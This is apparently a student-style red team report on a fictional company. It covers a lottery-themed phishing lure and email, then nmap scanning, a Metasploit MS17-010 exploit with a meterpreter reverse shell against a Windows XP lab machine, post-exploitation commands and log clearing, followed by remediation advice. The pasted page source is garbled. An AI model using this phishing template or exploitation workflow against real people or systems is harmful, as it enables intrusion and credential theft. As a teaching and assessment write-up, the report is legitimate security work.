RED TEAM REPORT



Kripesh Cyber Security Solutions (KCSS)

12/08/2023

All Cyber Security Solutions

52nd Floor

Manhattan Ave 212, 11101

United States of America

Tel: +1 212-327-4721

Email:info@kcss.com

Web: https://www.kcss.org

Table of Contents

Executive Summary	3
Attack Narrative	4
Section 1: Phishing Attack	4
Creating a Fake Lottery page for Phishing Attack using a source code	5
Sending a Phishing Link to the Employees via Email	7
Section 2: Unauthorize access to Victim's PC	8
Description of vulnerability, exploit and attack software	8
Metasploit Framework	8
Anatomy of the attack	8
Information Gathering and Scanning	9
Checking the Connectivity using Ping.	11
Exploit Selection	12
Payload Selection	15
Exploit	17
Post Exploitation	17
Trace Clearing	20
Conclusion	21
Recommendation	22
Risk Rating	24
Appendix A: Vulnerability Detail and Mitigation	25
Phishing Awareness Training:	25
Operating System Upgrade and Patch Management:	25
Endpoint Security Enhancement:	25
Dafaranaas	27

Executive Summary

KCSS, a leading cybersecurity firm, conducted an extensive red team security assessment to evaluate the resilience of JS Studio's cybersecurity infrastructure. Leveraging a diverse range of techniques, including penetration testing, social engineering, and vulnerability analysis, KCSS aimed to emulate real-world cyber threats. This report provides a detailed account of the findings, attack narratives, risk assessment, and recommendations to fortify the organization's security posture. With a commitment to excellence, KCSS utilized innovative approaches and industry best practices, fostering a collaborative environment to enhance the overall cybersecurity resilience of the assessed organization. This report is vital for the organization to understand and address potential vulnerabilities, mitigating risks and fostering a proactive approach to cybersecurity.

All the activities were conducted in a manner that simulated a malicious actor engaged in a targeted attack against JS studio with the goal of:

• Identifying if a remote attacker could penetrate JS Studio defenses.

Determine the Impact of a security breach on:

- Confidentiality of the company's private data.
- Internal infrastructure and availability of JS studio's information system.

The KCSS Team has provided specific recommendations for reducing the risks imposed by these issues in the "Observations and Recommendations" section of this report. The KCSS Team appreciates the opportunity to support JS Studio with its computer security. We look forward to assisting you and the JS Studio IT Staff in future endeavors.

Attack Narrative


The following section outlines the sequence of events and highlights the key points during the engagement.

Section 1: Phishing Attack


The first task from KCSS Red Team was to work on awareness on phishing attack, our focus shifted towards exploiting the human element of cybersecurity through a carefully orchestrated phishing campaign. The objective was to assess the awareness and resilience of the organization's employees against social engineering attacks. Our team crafted a sophisticated phishing email, purportedly from a well-known lottery organization, enticing recipients with the promise of a substantial prize. The email contained a link leading to a meticulously designed fake lottery page.

Upon clicking the link, employees were redirected to a convincing lottery webpage that closely mimicked the appearance of legitimate lottery platforms. The page prompted users to enter personal information, including names, email addresses, and even login credentials, under the guise of verifying their eligibility for the supposed prize. To add a layer of urgency, the page displayed a countdown timer, creating a sense of immediacy and encouraging users to act quickly.

Our analysis revealed that a significant number of employees fell victim to the phishing lure, entering sensitive information without verifying the authenticity of the lottery email. This not only exposed the organization to potential data breaches but also highlighted the need for robust employee training and awareness programs to mitigate the risks associated with social engineering attacks. The success of this phishing narrative underscores the importance of continual education on recognizing and responding to phishing attempts, emphasizing the critical role of individuals in maintaining a secure organizational environment.



Creating a Fake Lottery page for Phishing Attack using a source code



```
l c/DOCTYPE html>chmol chead>cmeta charSet="utf-8"/>cmeta http-equiv="x-ua-compatibe
button:focus,button:hover[outline:none]optgroup{font-weight:700}button.input{coverflow:visib}
data-styled.g1[id="LanguageSwitcher_DropdownContainer-sc-1dw7g4k-0"]{content:"hvZpUi,"}/*!
.inEgDc(color:white;padding-top:10px;padding-bottom:10px;padding-inline-start:20px;padding-
.inEgDc > p@magin:0 5px 0;}/*!sc*/
data-styled.g2[id="LanguageSwitcher_DropdownButton-sc-1dw7g4k-1"]{content:"inEgDc,"}/*!sc*/
.jjxYX1[display:none;width:210px;height:auto;border-radius:0;background:linear-gradient(205
.jjxYX1 lii(nover.jjxYX1 li:focus{background-color:#0260a7;}/*!sc*/
.jjxYX1 li:hover.jjxYX1 li:focus{background-color:#0260a7;}/*!sc*/
.jjxYX1 li:hover.jjxYX1 li:focus{background-color:#0260a7;}/*!sc*/
.jjxYX1 li:hover.jiyzYX1 li:focus*[background-color:#0260a7;}/*!sc*/
.jjxYX1 li:hover.jiyzYX1 li:focus*[background-color:#0260a7;]/*!sc*/
.jjxYX1 li:hover.jiyzYX1 li:focus*[background-color:#0260a7;]/*!sc*/
.jjxYX1 li:hover.jiyzYX1 li:focus*[background-color:#0260a7;]/*!sc*/
.jjxYX1 li:hover.jiyzYX1 li:focus*[background-color:#0260a7;]/*!sc*/
.jjxYX1 li:hover.jiyzYX1 li:focus*[background-color:#021534]background:#ffffff;
das-styled.g3[id="languageSwitcher_DropdownContent-sc-1dw7g4k-2"]{content:"jyxX1,"}*#sc*/
.gIAyDR:hover,_gIAyDR:active,_gIAyDR:focus,_gIAyDR.active{background:white;color:#021534;}/
ddUGtVY(height:40px;width:192px;margin-bottom:9 limportant;color:#021534;background:rmarga
ddUGtV:hover,_dUUGtV:active,_dUUGtV:focus,_dUUGtV.active{background:white;color:#021534;}/
ddata-styled.g4[id="languageSwitcher_DropdownLink-sc-1dw7g4k-3"]{content:"gIAyDR.dUUGtV."}/
ddata-styled.g5[id="Switcher_DropdownLink-sc-1dw7g4k-3"]{content:"giAyDR.dUUGtV."}/
ddata-styled.g5[id="Switcher_DropdownLink-sc-1dw7g4k-3"]{content:"giAyDR.dUUGtV."}/
eSkhmZ[ipid:dolor:hover_dolor:#021534];hist-dy-deskhmZ[ipid:dolor:#021534];hist-dy-deskhmZ[ipid:dolor:#021534];hist-dy-dolor:#021534];hist-dy-dolor:#021534];hist-dy-dolor:#021
```

Fig: Source code of the original site




Fig: Phishing Site



Sending a Phishing Link to the Employees via Email

Congratulations you won the Lottery Ticket

Dear Sarah,

We are happy to share that you have won the lottery ticket of five hundred and forty-three million dollars

For more information on how to collect your prize, please click the link below:

https://nylottery.io



Fig: Sending A malicious Link through email

Section 2: Unauthorize access to Victim's PC

Description of vulnerability, exploit and attack software

Ms17_010_psexec is a MS17-010 EternalRomance / EternalSynergy / EternalChampion SMB Remote Windows Code Execution exploit module, which is used to deliver a payload to the victim computer and (usually) open a Meterpreter session under the SYSTEM user context. One of the advantages of the new EternalRomance / EternalSynergy / EternalChampion Metasploit modules compared to the older EternalBlue exploit module, is that the new modules are compatible with all Microsoft OS versions.

In addition, the EternalRomance / EternalSynergy / EternalChampion new modules are supposed to be more stable, more reliable and should crash the target a lot less often than the EternalBlue exploit. To run successfully, the EternalBlue exploit does need access to the IPC\$ share on the target computer. On the other hand, the EternalRomance / EternalSynergy / EternalChampion exploit does need access to a named pipe on the target computer. By default, on newer Microsoft OS versions, anonymous access to all named pipes is disabled (Handy, 2018).

Metasploit Framework

The Metasploit Framework is an open-source penetration testing and development platform that provides exploits for a variety of applications, operating systems and platforms. Metasploit is one of the most used penetration testing tools and comes built-in to Kali Linux. The main components of the Metasploit Framework are called modules. Modules are standalone pieces of code or software that provide functionality to Metasploit. There are six total modules: exploits, payloads, auxiliary, nops, posts, and encoders. We will just focus on exploits and payloads (hat, 2018).

• Exploit

An exploit takes advantage of a system's vulnerability and installs a payload.

Payload

The payload gives access to the system by a variety of methods (reverse shell, meterpreter etc.) We will use both to gain access to the victim machine.

Anatomy of the attack

For the lab, Kali Linux is installed as an attacker machine where Microsoft Windows XP is installed as a victim machine. Below are the list of machines and network settings used for exploitation.

Machine Name (Virtually)	Network Adapter	IP Address
Kali Linux with Metasploit (Attacking	Bridge network, Virtual	192.168.0.111
Machine)	NAT	
Microsoft Windows XP	Bridge network	192.168.0.106

```
C:\Documents and Settings\nab>ipconfig /all
Windows IP Configuration
       Host Name . . :
       Primary Dns Suffix .
       : Unknown
       WINS Proxy Enabled. . . . . .
Ethernet adapter Local Area Connection:
       Connection-specific DNS Suffix .:
       Description . . . . . . . . . : AMD PCNET Family PCI Ethernet Adapte
       Physical Address. . . . . . . . : 08-00-27-35-68-B4
       Dhcp Enabled. . . . . . . . . : Yes
Autoconfiguration Enabled . . . : Yes
                                         : 192.168.0.106
       IP Address. . . . . . . .
                                         : 255.255.255.0
       Subnet Mask . . .
       Default Gateway .
                                           110.44.113.245
```

Figure 1. Victim machine IP Figure

```
(kripeshacharya@kali)-[~]

$ ip address show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state
ault qlen 1000
    link/loopback 00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc p
group default qlen 1000
    link/ether_08:00:27:77:46:aa brd ff:ff:ff:ff:ff
    inet 192.168.0.111/24 brd 192.168.0.255 scope global dy
e eth0
```

Fig: Attacker Machine IP Figure

Information Gathering and Scanning

In the initial phase of our red team engagement, the information gathering and scanning process played a pivotal role in assessing the target network's vulnerabilities. Leveraging the powerful network scanning tool Nmap, we systematically probed the network to identify available devices and gather essential information about their configurations. Nmap's comprehensive scanning capabilities allowed us to enumerate open ports, determine services running on each device, and extract version details. This meticulous reconnaissance effort facilitated a detailed understanding of the network's topology and laid the groundwork for subsequent attack vectors. Additionally, Nmap's vulnerability scanning capabilities were employed to identify potential weaknesses in the target devices, shedding light on areas where the organization may be susceptible to exploitation. The insights gained from this phase were instrumental in tailoring our subsequent attack narratives and crafting targeted strategies to exploit identified vulnerabilities.

```
kripeshacharya@kali: ~/Desktop
File Actions Edit View Help
(kripeshacharya⊗ kali)-[~/Desktop]
s nmap -help
Nmap 7.92 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254 -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3], ...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  -- dns-servers <serv1[,serv2], ... >: Specify custom DNS servers
  -- system-dns: Use OS's DNS resolver
  -- traceroute: Trace hop path to each host
```

Fig: Nmap help options

```
File Actions Edit View Help

(kripeshacharya@kali)-[~/Desktop]

nmap 192.168.0.1/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-31 11:03 EST
Nmap scan report for 192.168.0.1
Host is up (0.0047s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
1900/tcp open upnp

Nmap scan report for 192.168.0.102
Host is up (0.0035s latency).
All 1000 scanned ports on 192.168.0.102 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 192.168.0.106
Host is up (0.00069s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2869/tcp open icslap
```

Fig: Nmap used to scan whole network to find victim machine IP

```
root@kali:/home/kripeshacharya/Desktop
File Actions Edit View Help
   (root⊕ kali)-[/home/kripeshacharya/Desktop]
nmap -0 192.168.0.106
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-31 11:24 EST
Nmap scan report for 192.168.0.106
Host is up (0.0013s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2869/tcp open icslap
MAC Address: 08:00:27:35:68:B4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:windows_xp::sp3
OS details: Microsoft Windows XP SP2 or SP3
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/subm
it/ .
Nmap done: 1 IP address (1 host up) scanned in 3.44 seconds
```

Fig: Nmap used to find OS and other details

After knowing IP of victim machine, We used nmap advance option -O to find out more information of victim machine like operating system used, open ports and vulnerabilities etc.

Checking the Connectivity using Ping




Fig: Ping to victim machine

Exploit Selection

Following the comprehensive scanning and information gathering phase, the red team proceeded to the exploitation stage, leveraging the powerful Metasploit Framework to capitalize on identified vulnerabilities within the target network. Specifically, the MS17-010_Psexec exploit was deployed to exploit a critical vulnerability present in Windows XP systems. This well-known exploit takes advantage of the EternalBlue vulnerability, allowing unauthorized access to vulnerable machines. Through the Metasploit Framework's user-friendly interface, we executed the exploit, establishing a remote connection to the Windows XP machine seamlessly.

```
root@kali:/home/kripeshacharya/Desktop
Actions Edit View
         )-[/home/kripeshacharya/Desktop
                             .::::::.
hmMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
                                    - ymmmmmmmmmm<mark>s s</mark>mmmmm <del>oc</del>mmmmmmmmmmmm
                                     : MMMMMMMMM$$MMMMMN 86 MMMMMMMMMMMMM
                                     .yMMMMMMMMS$MMMMMN56MMMMMMMMMMMM
                                       : MMMMMMMMMS SMMMMMN SF MMMMMMMMMMM
 yNmMMh/
                                      : MMMMMMMMS$MMMMMN 35 MMMMMMMMMMMM
          +syysso-
        /dmNMMMMMMMMMMMMM
                                       -0++++0000+:/00000+:+0+++0000++/
     -hMMmssddd+:dMMmNMMh.
                 -dMd -- : mN/
                   Session one died of dysentery.
```

Fig: Metasploit framework




Fig: msf help to see options

<u>msf6</u> > search ms17-010				
Matching Modules				
# Name	Disclosure Date	Rank	Check	Des
cription				
		_	-	
The Committee of the Co				
<pre>0 exploit/windows/smb/ms17_010_eternalblue</pre>	2017-03-14	average	Yes	MS1
7-010 EternalBlue SMB Remote Windows Kernel Poo	l Corruption			
The state of the s	2017-03-14	normal	Yes	MS1
7-010 EternalRomance/EternalSynergy/EternalCham	pion SMB Remote W	/indows Co	de Exec	utio
n				
2 auxiliary/admin/smb/ms17_010_command		normal	No	MS1
7-010 EternalRomance/EternalSynergy/EternalCham	pion SMB Remote W	/indows Co	mmand E	xecu
tion				
3 auxiliary/scanner/smb/smb_ms17_010		normal	No	MS1
7-010 SMB RCE Detection				
4 exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB
DOUBLEPULSAR Remote Code Execution				

Fig: Searching for exploit ms17-010

There are many exploits available in database but for this task we used ms17-010_psexec as it is the new modules are compatible with all Microsoft OS versions. Ms17_010_psexec are more stable, more reliable and should crash the target a lot less often than the EternalBlue exploit.

```
kripeshacharya@kali:~
F
File Actions Edit View Help
msf6 > info exploit/windows/smb/ms17_010_psexec
       Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Wind
ows Code Execution
  Module: exploit/windows/smb/ms17_010_psexec
Platform: Windows
      Arch: x86, x64
Privileged: No
    License: Metasploit Framework License (BSD)
      Rank: Normal
 Disclosed: 2017-03-14
Provided by:
 sleepya
 zerosum0×0
 Shadow Brokers
 Equation Group
Available targets:
 Id Name
 0
      Automatic
     PowerShell
     Native upload
     MOF upload
```

Fig: More Info of the exploit

After finding more information of the exploit it was confirmed that this exploit is suitable for windows with both x86 and x64.

```
msf6 > use exploit/windows/smb/ms17_010_psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) >
```

Fig: Using exploit

Fig: RHOST set

Payload Selection

In the above figure RHOST was set as it was empty my default. LHOST and LPORT are set by default and RPORT is 445 set as default. After RHOST set next step is to select payload and exploit which is shown in figure below.

```
M
                         root@kali:/home/kripeshacharya/Desktop
File Actions Edit View Help
msf6 exploit(windows,
                                  sexec) > show payloads
Compatible Payloads
  #
                                                                   Disclosure Date
       Name
Rank
        Check Description
  0
       payload/generic/custom
normal No
               Custom Payload
  1
       payload/generic/debug_trap
normal No
            Generic x86 Debug Trap
       payload/generic/shell_bind_tcp
            Generic Command Shell, Bind TCP Inline
normal No
       payload/generic/shell_reverse_tcp
            Generic Command Shell, Reverse TCP Inline
normal No
       payload/generic/tight_loop
  4
            Generic x86 Tight Loop
normal No
       payload/windows/dllinject/bind_hidden_ipknock_tcp
  5
normal No
               Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
```

Fig: Payload Lists

```
49 payload/windows/meterpreter/reverse_ord_tcp
normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stag
er (No NX or Win7)
50 payload/windows/meterpreter/reverse_tcp
normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
51 payload/windows/meterpreter/reverse_tcp_allports
normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
```

Fig: Payload selection

Out of various different list of payloads payload/windows/meterpreter/reverse_tcp was most suitable one.




Fig: Set Payload

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.0.111	yes	The listen address (an interface may be s pecified)
LPORT	4444	ves	The listen port

Fig: Payload Options

In the above figure, payload is set and RHOST, RPORT, LHOST, LPORT was set to default.

Exploit

```
msf6 exploit(
[*] Started reverse TCP handler on 192.168.0.111:4444
[*] 192.168.0.106:445 - Target OS: Windows 5.1
[*] 192.168.0.106:445 - Filling barrel with fish ... done
                                              Entering Danger Zone
[*] 192.168.0.106:445 - ←
[*] 192.168.0.106:445 -
                                 [*] Preparing dynamite ...
[*] 192.168.0.106:445 -
                                          [*] Trying stick 1 (x86) ... Boom!
[*] 192.168.0.106:445 -
                                 [+] Successfully Leaked Transaction!
                                 [+] Successfully caught Fish-in-a-barrel
[*] 192.168.0.106:445 -
[*] 192.168.0.106:445 - ←
                                            | Leaving Danger Zone
[*] 192.168.0.106:445 - Reading from CONNECTION struct at: 0×8220cb40
[*] 192.168.0.106:445 - Built a write-what-where primitive...
[+] 192.168.0.106:445 - Overwrite complete ... SYSTEM session obtained!
[*] 192.168.0.106:445 - Selecting native target
192.168.0.106:445 - Uploading payload... YCqZeIez.exe
[*] 192.168.0.106:445 - Created \YCqZeIez.exe ...
[+] 192.168.0.106:445 - Service started successfully ...
[*] Sending stage (175174 bytes) to 192.168.0.106
[*] 192.168.0.106:445 - Deleting \YCqZeIez.exe...
[*] Meterpreter session 1 opened (192.168.0.111:4444 → 192.168.0.106:1060 ) at 2021
-12-31 11:58:19 -0500
meterpreter >
```

Fig: Exploiting

In the above figure, we have successfully exploited windows XP. Now it allows us to do whatever we like for example add or delete files, take control over the system, view important documents and many more.

Post Exploitation

Our red team initiated a series of diverse tasks on the compromised Windows XP system, showcasing the extent of control gained through the exploitation process. First, we established our presence by creating stealthy directories, allowing us to maneuver through the victim's file system discreetly. The ability to take screenshots of the victim's desktop unveiled the potential exposure of sensitive information, emphasizing the importance of securing systems against unauthorized access. To test the system's responsiveness to external commands, we executed controlled shutdowns, underscoring the vulnerability of an exploited system to malicious manipulation. Additionally, accessing a shell post-exploitation granted us unrestricted control over the victim's command line interface, further illustrating the severity of the compromise. These post-exploitation activities not only served to demonstrate the impact of a successful intrusion but also underscored the critical need for organizations to implement robust security measures to prevent and detect such unauthorized access.

```
meterpreter > shell
Process 1632 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
       Connection-specific DNS Suffix .:
       C:\WINDOWS\system32>back
back
'back' is not recognized as an internal or external command,
operable program or batch file.
C:\WINDOWS\system32>exit
meterpreter > sysinfo
Computer
             : COMPUTER
OS
              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture
              : x86
System Language : en_US
               : WORKGROUP
Domain
Logged On Users : 2
Meterpreter
              : x86/windows
meterpreter >
```

Fig: Running cmd on victim machine

```
meterpreter > shell
Process 980 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>cd ..
C:\WINDOWS>cd ..
cd ...
C:\>mkdir kripeshxp
mkdir kripeshxp
C:\>dir
dir
 Volume in drive C has no label.
Volume Serial Number is B421-C58A
 Directory of C:\
04/23/2020 03:21 PM
                                                   Ø AUTOEXEC.BAT
04/23/2020 03:21 PM
04/23/2020 03:24 PM
                                                   0 CONFIG.SYS
                                  <DIR>
                                                      Documents and Settings
12/31/2021 10:49 PM
04/23/2020 03:30 PM
12/31/2021 10:43 PM
                                  <DIR>
                                                       kripeshx
                                  <DIR>
                                                      Program Files
                                                     WINDOWS
                     2 File(s)
                                                     0 bytes
                     4 Dir(s) 24,626,913,280 bytes free
```

Fig: Making directory on victim machine from kali




Fig: Taking screenshot on victim machine



Fig: Shutting down victim's PC

Trace Clearing

In the aftermath of post-exploitation activities on the compromised Windows XP system, our red team took deliberate steps to cover our tracks by clearing traces from the system logs. Recognizing the importance of stealth and avoiding detection, we meticulously removed any evidence of our presence, ensuring that our actions would remain undetected by standard system monitoring tools. Clearing logs involved erasing entries related to our unauthorized access, commands executed, and any alterations made during the exploitation phase. This strategic measure not only highlighted the sophistication of potential attackers but also emphasized the imperative for organizations to enhance their logging and monitoring capabilities to promptly detect and respond to suspicious activities.




Fig: Trace Clearing

Conclusion

In conclusion, the red team's multifaceted engagement with JS Studio has provided invaluable insights into the organization's cybersecurity posture. The simulated phishing attack, aimed at JS Studio employees, served as a poignant reminder of the human factor in cybersecurity. The success of the campaign highlighted the need for ongoing awareness training to empower staff in recognizing and mitigating the risks associated with social engineering attacks. As our red team seamlessly transitioned to the exploitation phase, infiltrating the Windows XP system using Kali Linux and Metasploit, the exercise underscored the urgency for organizations to address software obsolescence and promptly patch known vulnerabilities. The collaboration between social engineering and technical exploitation showcased the interplay between human and technological elements in the cybersecurity landscape, emphasizing the critical importance of a holistic and proactive defense strategy.

This comprehensive red team assessment for JS Studio encapsulates a call to action, urging the organization to fortify its defenses by implementing a robust combination of employee education, technological upgrades, and proactive security measures. The vulnerabilities identified during these exercises provide a roadmap for JS Studio to enhance its cybersecurity resilience, fostering a culture of vigilance, continuous improvement, and adaptability in the face of evolving cyber threats.

Recommendation

Implementing these recommendations will fortify JS Studio's cybersecurity resilience, creating a proactive and adaptive security posture that can effectively mitigate the risks posed by a dynamic threat landscape.

• Employee Training and Awareness Programs:

Implement regular and interactive cybersecurity awareness training programs for all employees at JS Studio. The focus should be on recognizing phishing attempts, understanding social engineering tactics, and fostering a culture of cybersecurity consciousness. Periodic simulated phishing exercises can be valuable tools for assessing and improving employee readiness.

• Operating System Upgrades and Patch Management:

Immediately address the use of outdated operating systems, such as Windows XP, within the organization. Consider upgrading to modern and supported operating systems while maintaining a rigorous patch management process. This proactive approach will mitigate the risk of exploitation through known vulnerabilities and enhance the overall security posture.

Network Monitoring and Intrusion Detection:

Strengthen network monitoring capabilities by deploying advanced intrusion detection systems (IDS) and intrusion prevention systems (IPS). Implementing real-time monitoring tools can enhance the organization's ability to detect and respond promptly to anomalous activities, reducing the window of opportunity for attackers.

• Endpoint Security Measures:

Enhance endpoint protection mechanisms, including the deployment of up-to-date antivirus solutions, endpoint detection and response (EDR) tools, and application whitelisting. These measures will provide an additional layer of defense against various attack vectors and help prevent unauthorized access and exploitation.

• Incident Response Planning:

Develop and regularly test an incident response plan that outlines the steps to be taken in the event of a security incident. This includes clear communication channels, incident escalation procedures, and collaboration with relevant stakeholders. A well-prepared incident response strategy can significantly reduce the impact of a security breach.

• Continuous Red Team Assessments:

Engage in regular red team assessments to proactively identify and address evolving security vulnerabilities. These assessments should encompass a range of attack vectors, including social engineering, network exploitation, and post-exploitation activities. The insights gained from these exercises will contribute to ongoing improvements in the organization's cybersecurity defenses.

Risk Rating

The risk rating for JS Studio following the red team assessment is deemed high, reflecting the culmination of vulnerabilities identified across various facets of their cybersecurity infrastructure. The organization faces elevated risks due to the successful execution of a phishing attack that exposed a lack of employee awareness and susceptibility to social engineering. The utilization of an outdated operating system (Windows XP) and the subsequent exploitation using Kali Linux and Metasploit underscored the systemic risk associated with software obsolescence and inadequate patch management. Additionally, insufficient network monitoring and endpoint security measures contribute to the heightened risk, as demonstrated by the successful post-exploitation activities. The amalgamation of these vulnerabilities calls for an urgent and comprehensive response to fortify the organization's security posture and mitigate the potential impact of a real-world cyber threat.

Appendix A: Vulnerability Detail and Mitigation

Phishing Awareness Training:

Rating: High

Description: The successful phishing attack demonstrated a significant gap in employee awareness and susceptibility to social engineering. This vulnerability poses a high risk to the organization as it opens avenues for unauthorized access and potential data breaches.

Impact: Severe, as compromised employee credentials could lead to unauthorized access to sensitive information.

Remediation: Implement regular and targeted phishing awareness training programs for employees. Conduct simulated phishing exercises to educate staff on recognizing and mitigating phishing threats.

Operating System Upgrade and Patch Management:

Rating: High

Description: Exploitation of the outdated Windows XP system highlighted the critical risk associated with using unsupported operating systems. This vulnerability allows attackers to exploit known vulnerabilities and gain unauthorized access.

Impact: Severe, as the organization is exposed to potential exploitation through unpatched vulnerabilities, leading to compromised systems and data.

Remediation: Upgrade all systems to modern and supported operating systems. Establish a robust patch management process to promptly apply security updates and mitigate known vulnerabilities.

Endpoint Security Enhancement:

Rating: Moderate to High

Description: The successful exploitation of the Windows XP system revealed vulnerabilities in endpoint security measures, allowing unauthorized access and compromising the integrity of the endpoint. This vulnerability poses a moderate to high risk, providing attackers with opportunities to execute malicious actions.

Impact: Significant, as compromised endpoints may serve as entry points for lateral movement within the network, leading to further exploitation and potential data compromise.

Remediation: Strengthen endpoint security by deploying up-to-date antivirus solutions, endpoint detection and response (EDR) tools, and application whitelisting. Regularly update and patch endpoint security software to defend against evolving threats and mitigate the risk of unauthorized access. Conduct regular security assessments on endpoints to identify and remediate vulnerabilities promptly.

References

2018. cyberdefenders. Handy, N., [Online] Available at: https://medium.com/cyberdefendersprogram/kali-linux-metasploit-getting-started- with-pen-testing-89d28944097b

2018. hat, ethicalpentest. [Online] w., Available at: http://www.ethicalpentest.com/2018/03/ms17-010-vulnerability-eternalromancewindows-10-windows-2008-r2.html

hussain, 2021. geeksforgeeks. [Online] m., Available at: https://www.geeksforgeeks.org/kali-linux-information-gathering-tools/

2021. kali, птар. [Online]

Available at:

https://www.kali.org/tools/nmap/#:~:text=Nmap%20is%20a%20utility%20for,host%20OS%20or %20device%20identification).

manav, 2020. geeksforgeeks. [Online]

Available at: https://www.geeksforgeeks.org/kali-linux-exploitation-tools/

Messina, G., 2021. infosecinstitute. [Online] https://resources.infosecinstitute.com/topic/kali-linux-top-5-tools-for-post-Available at:

exploitation/